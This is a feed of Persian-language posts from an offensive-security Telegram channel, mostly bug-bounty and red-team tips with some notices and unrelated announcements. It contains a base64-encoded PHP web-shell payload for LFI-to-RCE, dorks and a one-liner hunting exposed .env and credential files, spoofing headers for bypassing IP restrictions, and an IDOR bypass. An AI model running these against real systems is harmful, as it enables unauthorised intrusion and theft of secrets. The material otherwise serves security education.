6712
1 Nov 2020 1399/08/11 🔴 THB | Offensive Security آموزش، تحقیق و تجربه عملی در امنیت تهاجمی Penetration Testing · Red Teaming · AI Security 🎯 یاد بگیر. آزمایش کن. حرفه‌ای شو.
ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود
تصور کنید یک آسیب پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش ها برای سوءاستفاده از آن به راه می افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به روزرسانی ها وجود ندارد.
طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیب‌پذیری با شناسه های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده اند. در این گزارش، امتیاز شدت هر دو آسیب پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش ها برای exploitation از آن ها صحبت شده است.
توجه: پیش از استناد به شناسه ها، امتیاز ها، آمار حملات و نسخه های اصلاح شده، اطلاعیه های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید.
🔍 مشکل دقیقاً چیست؟
بر اساس اطلاعات گزارش شده، این دو آسیب پذیری به نحوه مدیریت حافظه در PHP مربوط هستند:
ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت.
ا▪️ Use-After-Free: استفاده از حافظه‌ای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می تواند زمینه ساز رفتار غیرمنتظره یا اجرای حمله شود.
خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند.
🎯 چه کسانی باید نگران باشند؟
اگر سرور یا وب سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط های زیر اهمیت داشته باشد:
Apache با mod_php
Nginx با PHP-FPM
LiteSpeed و FrankenPHP
وب‌سایت های WordPress و سایر برنامه های مبتنی بر PHP
البته استفاده از این فناوری ها به تنهایی به معنای آسیب پذیر بودن سرور نیست؛
🛡️ چه کارهایی باید انجام دهید؟
۱. نسخه PHP را بررسی کنید.
php -v
🔖 ا Account Takeover از طریق ایمیل
شما چه روش هایی بلدید ؟
یه سری Google Dorks سریع و simple هستن که حتماً باید طی recon روی تارگتت اعمال کنی.
اینا اغلب اطلاعات sensitive مثل.env files، database dumpها، config fileها و حتی backupها رو reveal میکنن.
۱. Exposed.env Files
intitle:"Index of" ".env"
"DB_PASSWORD" filetype:env
"APP_ENV=local" | "DB_HOST=127.0.0.1"
۲. Exposed SQLite Databases
intitle:"Index of" ".sqlite"
intitle:"Index of" "db.sqlite"
filetype:sqlite | filetype:sqlite3 | filetype:db
۳. Misconfigured Laravel یا Public Folder Exposure
inurl:/public/.env
inurl:/public/db.sqlite
intitle:"Index of" inurl:/public/
۴. Backup / Config Files (اغلب حاوی اطلاعات sensitive)
intitle:"Index of" "backup"
intitle:"Index of" "config"
ext:sql | ext:bak | ext:old | ext:backup
۵. Generic Index Dump
intitle:"Index of /" +passwd
intitle:"Index of /" +passwords
کدوم Google Dork رو در reconت استفاده کردی که.env یا backup expose کرد و bounty داد؟ تجربت رو کامنت کن
🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡
LFI
داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن:
مثال param vulnerable:
page=../../../../etc/passwd
echo '<?php system($_GET["cmd"]);?>' | base64
PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=
کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن
نکته باگ بانتی PDF Keyword Crawler
شکار اطلاعات حساس در PDFهای عمومی؟
🧩 از PDF Keyword Crawler add-on فایرفاکس استفاده کن
📁 urls.txtت رو لود کن (با لینک‌های.pdf)
🔑 خودکار برای keywordهای حساس اسکن میکنه!
🧠 عالی برای کشف leaked secrets، creds یا internal docs.
👉 Add-on: https://addons.mozilla.org/es-AR/firefox/addon/pdf-keyword-crawler/
https://ott3rly.com/mass-hunting-for-leaked-sensitive-documents/
کدوم keyword رو در PDF Crawler اضافه کردی که secret leakشده شکار کرد؟ تجربت رو کامنت کن
ا🔎 IDOR را با عوض کردن ID اشتباه نگیرید
خیلی ها وقتی یک Endpoint مثل این میبینند:
GET /api/users/123
GET /api/users/124
«آیا میتوانم ID را تغییر بدهم؟»
🧨 WEB PENTESTING FIELD NOTES #03
یک اشتباه رایج در تست XSS
یه چیزی توی Search Box وارد میکنی.
بر میگرده توی صفحه.
بعد اولین فکری که میاد:
«خب، حالا یه Payload بزنیم ببینیم اجرا میشه یا نه.»
اینجا دقیقاً جاییه که خیلی از تست ها اشتباه شروع میشن.
قبل از Payload، من معمولاً یه سؤال ساده‌تر می‌پرسم:
این Input دقیقاً کجا قرار گرفته؟
داخل HTML؟
داخل یک Attribute؟
داخل JavaScript؟
توی URL؟
یا اصلاً JavaScript سمت Client داره این مقدار رو از جایی می‌خونه و وارد DOM میکنه؟
چون این:
<input>
به تنهایی چیزی بهت نمیگه.
مهم اینه که Application و Browser باهاش چه رفتاری میکنن.
یه سناریوی ساده:
تو Search میزنی:
THB
صفحه هم نشون میده:
Search results for: THB
خوبه.
حالا به جای اینکه سریع بری سراغ Payloadهای مختلف، مسیر مقدار رو دنبال کن.
Input → Source → Data Flow → Sink → Context → Execution
اگر بفهمی داده از کجا وارد شده و نهایتاً به کجا رسیده، تازه می فهمی باید دنبال چه چیزی بگردی.
حالا سه حالت اصلی XSS رو از هم جدا کن:
🔹 Reflected XSS
اInput از Request میاد و در Response برمیگرده.
🔹 Stored XSS
اInput ذخیره میشه و بعداً وقتی یک User دیگه صفحه رو می‌بینه، Render میشه.
🔹 DOM-Based XSS
این یکی جالب تره.
ممکنه Server اصلاً چیزی از Payload نبینه.
جاوااسکریپت سمت Client داده رو از یک Source میگیره و به یک Sink خطرناک میرسونه.
یعنی اگر فقط Responseهای Server رو نگاه کنی، ممکنه کل داستان رو از دست بدی.
حالا یه سؤال برای خودت:
فرض کن مقدار زیر رو وارد کردی:
THB123
و این مقدار داخل HTML صفحه ظاهر شد.
آیا همین به معنی XSS Vulnerability هست؟
اگر جوابت «بله» یا «نه» هست، دلیلش رو هم بنویس.
ببینیم چند نفر واقعاً Context رو بررسی میکنن، نه فقط دنبال Payload می گردن.
📚 مجموعه کتابهای کاربردی در دنیای امنیت
مهارت واقعی با خواندن شروع میشود، اما با تمرین و تجربه ساخته میشود؛ کتابی را انتخاب کن که قدم بعدی تو در مسیر حرفه‌ای شدن باشد.
پاک کردن تاریخچه مرورگر، تاریخچه‌ای که گوگل نگه داشته را پاک نمیکند گوگل یک کپی جداگانه به حساب شما وصل کرده و نگه می‌دارد این کپی در صفحه‌ای است که اکثر مردم حتی یکبار هم بازش نکرده‌اند.
برای پاک کردن کاملش :
https://x.com/KavehxNet/status/2108763797020156052
🔥 با تکنیک های killer که بیشتر باگ هانترها ازشون غافلن.
IP Spoofing Headers برای Bypass و Testing:
X-Forwarded-For: 127.0.0.1
📌 توسط proxyها/load balancerها trusted میشه
X-Real-IP: 127.0.0.1
📌 رایج در setupهای NGINX
X-Client-IP: 127.0.0.1
📌 برای rate limiting/tracking استفاده میشه
X-Remote-IP: 127.0.0.1
📌 ممکنه روی backend logic تاثیر بذاره
X-Remote-Addr: 127.0.0.1
📌 سعی میکنه remote IP رو override کنه
True-Client-IP: 127.0.0.1
📌 توسط CDNها (مثل Akamai) استفاده میشه
CF-Connecting-IP: 127.0.0.1
📌 Cloudflare real IP header
Fastly-Client-IP: 127.0.0.1
📌 Fastly CDN client IP
X-Cluster-Client-IP: 127.0.0.1
📌 در محیط‌های clustered دیده میشه
Forwarded: for=127.0.0.1
📌 نسخه RFC standard از XFF
X-Originating-IP: 127.0.0.1
📌 توسط mail serverها و legacy appها استفاده میشه
X-Forwarded-Host: 127.0.0.1
📌 میتونه روی virtual host routing تاثیر بذاره
X-Forwarded-Server: 127.0.0.1
📌 backend routing logic
X-Real-Hostname: localhost
📌 سعی میکنه internal host رو spoof کنه
Via: 127.0.0.1
📌 ممکنه در proxy chainها ظاهر بشه
Forwarded-For: 127.0.0.1
📌 non-standard اما در wild دیده میشه
Proxy-Client-IP: 127.0.0.1
📌 سرورهای Java-based (Tomcat)
WL-Proxy-Client-IP: 127.0.0.1
📌 WebLogic-specific header
استفاده: Bypass IP whitelisting، rate limitها، geo-blockها، SSRF filterها یا trigger internal behavior. چندتاشون رو combine کن برای نتایج بهتر در black-box testing.
کدوم header spoofing رو با 127.0.0.1 تست کردی که rate limit رو دور زد و bounty داد؟ تجربت رو کامنت کن.
🔥 این برای هکینگ نیست، این برای هکرهاست؛
اگه هنوز توی باگ هانتینگت چیزی پیدا نکردی، اول این code رو توی فایلت اعمال کن:
while(!success){
tryagain();
if(tried)
break;
}کدوم dry run طولانی رو با تغییر mindset به bounty تبدیل کردی؟ تجربت رو کامنت کن.
از این به بعد هر چند وقت یکبار نوت های تخصصی Ai Red Team گذاشته خواهد شد و بر اساس Mittre Atllas خواهد بود
با نرم افزار Obsidian باز بشه
دقیق و کامل خونده بشه
دوستانی که علاقه مند به موضوع Ai Security و Ai RedTeam هستند این موضوعات در کانال دیگمون قرار میدهیم :
@AiTHB
💡 نکته باگ بانتی IDOR Bypass
بعضی وقت‌ها APIها وقتی چندین ID با هم پاس داده میشن، رفتار غیرمنتظره‌ای نشون میدن.
🔍 سناریو
Victim’s ID: 5200
Attacker’s ID: 5233
🚫 GET /api/users/5200/info → Access Denied
✅ GET /api/users/5200,5233/info → Bypass Successful.
📌 همیشه comma-separated، array-style یا batch ID parameterها رو موقع شکار IDOR تست کن!
کدوم IDOR bypass رو با comma یا array تست کردی که access denied رو دور زد و bounty داد؟ تجربت رو کامنت کن،
⭕️ دیگر کانال ها و شبکه های اجتماعی ما را دنبال کنید :
💠 کانال های تلگرام ما :
🔶 آموزش تست نفوذ و Red Team
🆔 @TryHackBox
🔶 رودمپ های مختلف
🆔 @TryHackBoxOfficial
🔶 آموزش Ai Security
🆔 @AITHB
🔶 آموزش برنامه نویسی
🆔 @TryCodeBox
🔶 رادیو زیروپاد ( پادکست ها )
🆔 @RadioZeroPod
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
👥 گروه های پرسش و پاسخ
🔷 هک و امنیت
🆔 @TryHackBoxGroup
🔷 برنامه نویسی
🆔 @TryCodeBoxGroup
➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🔴 اینستاگرام :
🔗 http://www.instagram.com/TryHackBox
🔵 یوتیوب :
🔗 tryhackbox" rel="nofollow">https://youtube.com/@tryhackbox
🟠 گیت هاب ما :
🔗 https://github.com/TryHackBox/
🟣 لینکدین ما :
🔗 https://www.linkedin.com/company/tryhackbox-org
🎬 جذب تدوینگر ویدیو برای تیم TryHackBox
مجموعه TryHackBox برای توسعه محتوای ویدیویی خود در Instagram و سایر پلتفرم ها به یک Video Editor علاقه مند و مسئولیت پذیر نیاز دارد.
این همکاری در مرحله فعلی به صورت داوطلبانه است، اما قرار نیست صرفاً «تدوین رایگان» باشد. فردی که به تیم اضافه میشود در فرآیند واقعی تولید محتوای Cybersecurity حضور خواهد داشت و بخشی از تیم تولید محتوای TryHackBox خواهد بود.
وظایف:
• تدوین Reels و ویدیوهای آموزشی
ا • Cut و Pacing مناسب برای محتوای کوتاه • اضافه کردن Subtitle و Motion ساده
• آماده‌سازی خروجی مناسب Instagram
• همکاری با تیم محتوا برای اجرای سناریوها
• حفظ یک Style و Visual Identity یکپارچه برای TryHackBox
مهارت های موردنظر:
• تسلط به Premiere Pro، DaVinci Resolve یا نرم‌افزار مشابه
• درک مناسب از تدوین محتوای Short-form • آشنایی با Motion Graphics یک مزیت محسوب میشود
• دقت، مسئولیت‌پذیری و توانایی کار تیمی
• داشتن چند نمونه کار برای بررسی
مزایای همکاری:
• عضویت در تیم تولید محتوای TryhackBox
• ساخت Portfolio با پروژه‌های واقعی حوزه Cybersecurity
• معرفی و اعتباردهی به عنوان عضو تیم در پروژه‌های قابل انتشار
• دسترسی به بخشی از محتوای آموزشی TryHackBox
• امکان همکاری در پروژه های تخصصی و تجاری آینده
• اولویت برای همکاری های Paid در صورت شکل گیری پروژه‌های درآمدزا
• امکان رشد به عنوان Video Editor اصلی تیم
اگر به تدوین علاقه دارید و دوست دارید در کنار یک تیم تخصصی Cybersecurity تجربه واقعی کسب کنید، نمونه‌کارها و معرفی کوتاهی از خودتان را برای ما ارسال کنید.
📩 ارتباط:
@THBxSupport
یکی از methodologyهای مخفیم رو دراپ میکنم
🌀 Takeover AWS S3 Bucket
🔥 مثل حرفه‌ای ها فوق العاده ساده اما خیلی موثر
✨ قبل از هرچیزی بیایم کل سناریو رو بفهمیم...
👀 ۱. کدوم bucketها آسیب‌پذیر برای takeover هستن؟
👀 ۲. تاثیر واقعی takeover یه S3 bucket چیه؟
👀 ۳. چطور S3 bucketهای potentially vulnerable رو پیدا کنیم؟
👀 ۴. چطور validate کنیم که bucket واقعاً توسط تارگت استفاده شده؟
⚡ ۱. Bucket های آسیب‌پذیر:
اگه تارگت قبلاً از یه S3 bucket استفاده کرده و deleteش کرده اما subdomain (CNAME) هنوز به amazonaws.com اشاره میکنه این فرصت عالی takeoverه.
⚡ ۲. تاثیر:
اگه bucket هنوز در backend یا services reference شده باشه، و تارگت فراموش کرده removeش کنه، ممکنه حتی RCE به دست بیاری. در بعضی موارد، میتونه به full system compromise منجر بشه.
⚡ ۳. پیدا کردن Bucketها (با استفاده از FOFA):
اینجا چطور با FOFA شکارشون میکنم:
🧠 FOFA Dork:body="specified bucket does not exist" && (host="target.com" || host="target_domain_name_only") && port="443"
🔍 این dork subdomainهایی رو میده که به bucketهای missing یا deleted اشاره میکنن. FOFA fingerprints رو در سراسر وب index میکنه حتی برای منابع deleted پس goldmine برای پیدا کردن assetهای exposedی که تارگت فراموش کرده.
⚡ ۴. Validate کردن Ownership:
🔎 روش ۱: GitHub Recon
از GitHub dorkها مثل این استفاده کن:org:target_org "target.s3.amazonaws.com"
یا ساده جستجو کن:"target.s3.amazonaws.com"
ممکنه hardcoded linkها، past commitها یا config fileهایی پیدا کنی که اثبات کنه تارگت از این bucket استفاده میکرده.
🌐 روش ۲: DNS History (همیشه موثر نیست، اما ارزش امتحان داره)
چک کن اگه bucket برای static website hosting configure شده بوده.
از این ابزارها برای چک historical DNS records استفاده کن:
https://securitytrails.com
https://dnsdumpster.com
https://viewdns.info
https://www.robtex.com
کدوم FOFA dork رو برای S3 takeover تست کردی که subdomain dangling شکار کرد؟ تجربت رو کامنت کن.
🔥 چک لیست امنیت هوش مصنوعی
@TryHackBox
#چک_لیست #هوش_مصنوعی
⚡ سری Bash برای باگ هانترها
قسمت ۲
چندین folder رو با one-liner بساز:
mkdir {dev,test,prod}touch {file1,file2,file3}.txtseq -w 1 10 | xargs -I {} touch file{}.txtبا pro Bash commandها bug huntingت رو boost کن must برای هر hacker!
فراموش نکن react کن 🔥
⚠️ موج بعدی جنگ به زودی شروع میشه .
نوشتن این پیام برای من خوشایند نیست، اما با توجه به شرایط موجود، احتمال شروع دور جدیدی از درگیری ها را نمیتوان نادیده گرفت. این موضوع به معنای پیش بینی قطعی نیست؛ بااین حال، ترجیح میدهم از همین حالا برای شرایط احتمالی آماده باشیم، نه اینکه در لحظه بحران به فکر چاره بیفتیم.
از همه اعضای TryHackBox میخواهم چند اقدام مشخص را جدی بگیرند:
۱. ارتباط و دسترسی به اینترنت
راه های جایگزین ارتباط با اعضای خانواده و افراد ضروری را مشخص کنید.
شماره تلفن های مهم را خارج از گوشی نیز یادداشت کنید.
اگر فعالیت یا ارتباطات شما به اینترنت وابسته است، برای قطعی یا اختلال طولانی مدت برنامه جایگزین داشته باشید.
۲. امنیت اطلاعات و دارایی های دیجیتال
از فایل ها، اسناد و اطلاعات مهم خود نسخه پشتیبان تهیه کنید.
نسخه پشتیبان را در محلی امن و جدا از دستگاه اصلی نگه دارید.
دسترسی به حساب های مهم، ایمیل بازیابی و روش های احراز هویت دومرحله‌ای را بررسی کنید.
مراقب اخبار تأیید نشده باشید.
۳. آمادگی های ضروری در منزل
آب آشامیدنی، مواد غذایی ماندگار، داروهای ضروری و لوازم کمک های اولیه را برای چند روز در دسترس داشته باشید.
چراغ قوه، باتری یا پاوربانک شارژ شده آماده کنید.
مدارک هویتی، نسخه داروها، مقداری پول نقد و شماره‌های اضطراری را در دسترس قرار دهید.
۴. برنامه ریزی برای شرایط اضطراری
با اعضای خانواده درباره محل ملاقات و روش تماس در صورت قطع ارتباط توافق کنید.
مسیرهای خروج و مکان های امن نزدیک محل زندگی یا کار را بشناسید.
۵. مدیریت اخبار و تصمیم ها
خبرها را از چند منبع معتبر بررسی کنید و شایعات را بازنشر نکنید.
تصمیم های مهم را صرفاً بر اساس پیام های ناشناس یا پیش‌بینی های تأییدنشده نگیرید.
اگر برای کار یا فعالیت های روزمره به زیرساخت های آنلاین وابسته‌اید، برای وقفه احتمالی از قبل برنامه داشته باشید.
این موارد برای ایجاد ترس نیست؛ هدف این است که اگر شرایط تغییر کرد، تصمیم های ضروری را با آرامش و آمادگی بیشتری بگیریم.
هیچ کس نمیتواند با قطعیت بگوید چه اتفاقی خواهد افتاد؛ اما هرکدام از ما میتوانیم آمادگی خود را بیشتر کنیم.
مراقب خودتان و عزیزانتان باشید.
— TryHackBox
اPass the Hash هنوز هم بعد از این همه سال کار میکنه.
چرا؟ چون بخشی از معماری احراز هویت ویندوز هست و کامل پچ نمیشه.
به جای کرک کردن پسورد، مستقیم با NTLM Hash احراز هویت میکنی.
ادامه رشته توییت
https://x.com/KavehxNet/status/2110953930486083996
🧠 نکته باگ بانتی حملات Denial of Wallet 💸
شنیدی Denial of Service رو... اما Denial of Wallet چی؟
🔍 حمله Denial of Wallet (DoW) وقتیه که attacker یه feature رایگان برای کاربرها رو abuse میکنه، اما برای شرکت هزینه داره منابع، credits یا cloud budget رو drain میکنه.
🚨 چطور کار میکنه؟ بهش میگن cost amplification attack – attacker یه قرون خرج نمیکنه، اما هر بار action trigger بشه، شرکت پول میده.
💥 تارگت‌های رایج در برنامه‌های باگ بانتی:
Cloud Functions (مثل AWS Lambda، Azure Functions)
مثال: یه search feature عمومی Lambda function رو call میکنه. ۱۰,۰۰۰ request اتوماتیک بفرستی boom، bill AWS شرکت spike میشه 📈.
Email/SMS APIs
مثال: feature signup/login OTP via Twilio یا SendGrid می فرسته. بدون rate-limiting؟ میتونی credits رو با generate کردن endless verification code به burner emailها یا شماره‌ها drain کنی.
AI Chatbots (مثل OpenAI، Claude APIs)
مثال: شرکت LLM bot رو integrate کرده. هر chat ~$0.01+ هزینه داره. script endless interaction بنویسی هر response یه costly API callه.
💡 الهام واقعی از دنیای واقعی
طبق مقاله PortSwigger:
"یه researcher endpoint serverless شرکت رو abuse کرد و Lambda functionهای costly رو trigger کرد bill رو با zero rate-limiting rack up کرد."
تصور کن $5,000 potential cloud misuse از یه endpoint vulnerable گزارش بدی. حالا این high-severity bugه.
🛡️ چیزی که به عنوان Bug Hunter باید دنبالش باشی:
⦁ Public feature هایی که server-side logic trigger میکنن
⦁ APIها بدون authentication یا usage cap
⦁ بدون CAPTCHA یا rate-limiting
⦁ LLM-based botها یا dynamic content generation بدون user restriction
⦁ فرصت های abuse email/SMS OTP یا notification
✅ نکته‌ها قبل از Report:
⦁ Cost impact رو demonstrate کن (مثل "این endpoint OpenAI API استفاده میکنه. X request = $Y.")
⦁ Unrestricted access رو prove کن (بدون auth/rate-limiting)
⦁ Mitigation پیشنهاد بده مثل usage quota، CAPTCHA یا billing cap
💰 این باگ‌ها اغلب plain sight مخفی ان، اما real financial damage میزنن که باعث میشه favorite برای high bounty payoutها بشن.
کدوم DoW attack رو در cloud function یا AI API تست کردی که bill spike کرد و bounty داد؟ تجربت رو کامنت کن.
🔥 ۱. کمتر یاد بگیر، بیشتر تمرین کن.
🔥 ۲. ابزارها بدون دانش core هیچی نیستن.
🔥 ۳. دنبال کردن باگ های basic تو رو elite نمیکنه.
ا🔥 ۴. Pro hunterها exploitهای جدید میسازن، نه کپی قدیمی ها رو.
🔥 ۵. فراتر از checklistها فکر کن مثل یه attacker فکر کن.
کدوم نکته‌ش برات جالب تر بود ؟
در Active Directory، همه Service Accountها ارزش یکسانی برای مهاجم ندارند.
فرض کن در یک Internal Pentest به چند Service Account دسترسی پیدا کردی.
اینکه صرفاً Password یکی از آنها ضعیف باشد، تمام ماجرا نیست. باید بفهمی آن Account کجا استفاده میشود و چه دسترسی هایی دارد.
برای بررسی، چند سؤال مهم وجود دارد:
🔹 چه SPNهایی به این Account اختصاص داده شده؟
🔹 آیا برای چند سرویس مختلف استفاده میشود؟
🔹 چه Privilegeهایی دارد؟
🔹 آیا روی سرورها دسترسی Local Administrator دارد؟
🔹 آیا Password آن قدیمی است یا در چند سرویس استفاده شده؟
🔹 آیا امکان جایگزینی آن با gMSA وجود دارد؟
حالا یک سناریو را در نظر بگیر.
یک Service Account برای اجرای یک سرویس قدیمی استفاده میشود. Password آن مدت‌هاست تغییر نکرده و همان Account روی چند سیستم دسترسی دارد.
اگر مهاجم بتواند Credential این Account را به دست بیاورد، میزان دسترسی ای که از آن استفاده میکند به Permissionها و محل استفاده از Account بستگی دارد.
اینجاست که بررسی Service Account اهمیت پیدا میکند.
در Kerberoasting، مهاجم میتواند برای SPNهای ثبت‌شده درخواست TGS بفرستد و Material مربوط به Ticket را به صورت Offline برای حدس زدن Password بررسی کند.
اما موفقیت این مرحله به‌تنهایی به معنی دسترسی به کل Domain نیست.
اگر Password حساب قوی باشد، دسترسی های آن محدود باشند و از Credentialها به‌درستی نگهداری شود، مسیر حمله میتواند همانجا متوقف شود.
▪️ استفاده از Passwordهای طولانی و تصادفی
▪️ استفاده از gMSA در سرویس های سازگار
▪️ حذف SPNهای غیرضروری
▪️ محدود کردن Privilegeهای Service Account
▪️ بررسی Password Reuse و دسترسی های غیرضروری
▪️ مانیتور درخواست های غیرعادی TGS و تغییرات SPN
به نظر شما در تحلیل ریسک Service Accountها، کدام مورد خطرناک‌تر است: Password ضعیف، دسترسی های بیش‌ازحد (Excessive Privileges) یا استفاده از یک Account در چند سرویس و سرور؟ چرا؟
⭕ یک خط برای پیدا کردن فایل ها
subfinder -d domain.com -silent | \
while read host; do \
for path in /config.js /config.json /app/config.js /settings.json /database.json /firebase.json /.env /.env.production /api_keys.json /credentials.json /secrets.json /google-services.json /package.json /package-lock.json /composer.json /pom.xml /docker-compose.yml /manifest.json /service-worker.js; do \
echo "$host$path"; \
done; \
done | httpx -mc 200
🔥 امروز، ۱۶ مهر، روز بزرگداشت داریوش بزرگ است؛ پادشاهی که امپراتوری هخامنشی را به اوج قدرت، نظم و گستردگی رساند و تخت جمشید را بنیان نهاد، یادبود مردی که نامش برای همیشه با شکوه تمدن ایران گره خورده است
@TryHackBox
🔖 پیدا کردن اطلاعات حساس با gf # Search for testing point with gau and fff
gau target -subs | cut -d"?" -f1 | grep -E "\.js+(?:on|)$" | tee urls.txt
sort -u urls.txt | fff -s 200 -o out/
# After we save responses from known URLs, it's time to dig for secrets
for i in gf -list; do [[ ${i} =~ "_secrets"* ]] && gf ${i}; done
کدوم secret با gf در JS فایل‌ها شکار کردین که bounty داد؟ تجربتون رو کامنت کنی
یکی از چیزایی که هنوز خیلیها اشتباه میفهمن Lateral Movement هست.
یعنی بعد از دسترسی اولیه، چطور بدون اومدن دوباره از بیرون، داخل شبکه حرکت کنی و به ماشینهای دیگه برسی.
پست کامل در لینک زیر :
https://x.com/KavehxNet/status/2106769316464959807
#Red_Team #RedTeam
در Golden Ticket، یکی از چیزهایی که برای Hunting باید بهش دقت کنی، رابطه بین TGT و TGS است.
در حالت عادی:
اول Client یک TGT میگیرد.
بعد با استفاده از آن TGT برای Service موردنظر TGS درخواست میکند.
پس روی Domain Controller معمولاً می‌توانی ارتباطی بین:
4768 → TGT Request4769 → TGS Request4769 بدون 4768 = Golden Ticket4769 بدون 4768 + رفتار غیرعادی + Identity مشکوک + دسترسی Privileged
📌 نقشه خطرات هوش مصنوعی مبتنی بر عامل ، نسخه 2، ژوئن 2026.
@AiTHB
#هوش_مصنوعی